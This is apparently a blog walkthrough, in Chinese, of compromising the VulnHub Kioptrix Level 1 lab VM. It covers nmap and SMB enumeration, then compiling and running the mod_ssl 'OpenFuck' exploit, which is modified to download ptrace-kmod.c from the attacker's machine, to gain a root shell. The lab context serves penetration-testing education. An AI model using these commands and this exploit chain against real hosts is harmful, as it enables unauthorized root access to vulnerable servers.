实验环境

攻击机(kali):192.168.10.11 靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali 与靶机为同种网络模式(此处均为桥接模式)

信息搜集

主机探测

使用 arp-scan 进行主机探测:sudo arp-scan -l

探测结果得出靶机 IP 为192.168.10.10

端口扫描

使用 nmap 进行端口扫描:nmap -T4 -sV -A 192.168.10.10

└─$ nmap -T4 -sV -A 192.168.10.10
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-05 17:15 CST
Nmap scan report for 192.168.10.10
Host is up (0.0024s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey: 
|   1024 b8746cdbfd8be666e92a2bdf5e6f6486 (RSA1)
|   1024 8f8e5b81ed21abc180e157a33c85c471 (DSA)
|_  1024 ed4ea94a0614ff1514ceda3a80dbe281 (RSA)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
| http-methods: 
|_  Potentially risky methods: TRACE
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1          32768/tcp   status
|_  100024  1          32768/udp   status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after:  2010-09-26T09:32:06
|_ssl-date: 2023-02-05T10:17:13+00:00; +1h01m51s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_http-title: 400 Bad Request
32768/tcp open  status      1 (RPC #100024)

Host script results:
|_clock-skew: 1h01m50s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.28 seconds

目录扫描

使用 dirsearch 进行目录扫描:dirsearch -u http://192.168.10.10/ -x 400-599 -t 50

web 页面无有效信息。

漏洞挖掘

接下来根据 nmap 的扫描结果对各个端口的服务进行漏洞挖掘。

22端口-ssh

针对探测到的 ssh 版本号OpenSSH 2.9p2,使用 searchsploit 查询是否存在可利用漏洞:

发现只有一个用户名枚举,无其他高危漏洞。

139端口-smb

针对 smb 服务可使用 enum4linux 工具进行信息枚举:enum4linux 192.168.10.10

通过此工具发现存在 空账号 即 匿名账号,无需用户名密码即可登录 smb 服务,使用rpcclient进行登录:

rpcclient 192.168.10.10 -U ''

登录后测试一些命令发现无权限,不再深入。

80端口-apache httpd

针对 80 端口的 Apache httpd 服务,探测到了 mod_ssl 版本信息:mod_ssl/2.8.4

使用 searchsploit 查询相关漏洞:searchsploit mod_ssl 2.8.4

发现存在远程缓冲区溢出漏洞,这里使用编号 47080 的 exp,定位路径并将其复制到桌面: searchsploit -p 47080

mod_ssl缓冲区溢出漏洞利用

47080.c复制到桌面后,查看此 exp 代码:

文件开头给出的一些信息需要注意:

  • 需要 libssl-dev 依赖,可通过sudo apt-get install libssl-dev来安装;
  • 编译命令:gcc -o OpenFuck OpenFuck.c -lcrypto
  • 如果有需要请跟踪主机地址并修改 wget 目标。

注释最后一条修改 wget 目标是指程序会从远程服务器下载一个ptrace-kmod.c的文件用于 exp 编译,靶机可能不出网,所以需要提前将ptrace-kmod.c下载到攻击机上,后续通过 python 在攻击机建立 web 服务后靶机即可从攻击机下载而非公网。

找到对应代码位置:

https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c修改为http://192.168.10.11/ptrace-kmod.c,这里192.168.10.11即攻击机 IP:

接下来编译 exp:gcc -o OpenFuck 47080.c -lcrypto

编译出现大量警告信息可忽略,不影响编译后的可执行程序的使用,编译完成在同目录下可发现已生成名为OpenFuck的可执行程序,运行可查看使用帮助:

帮助信息中有一个支持列表,前面的四位编号就代表不同版本,对比 nmap 扫描结果得到 apache 版本信息为 1.3.20 且操作系统为 RedHat,对比 exp 帮助信息得知我们可用的参数为0x6a0x6b

接下来先在ptrace-kmod.c所在文件夹运行起 web 服务,因为 exp 执行时需要调用此文件:

然后运行 exp,命令为:./OpenFuck 0x6b 192.168.10.10 -c 50

成功 getshell 且权限为 root。

文章作者: z0sen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 z0sen's Blog
Walkthrough VulnHub Linux Buffer Overflow
喜欢就支持一下吧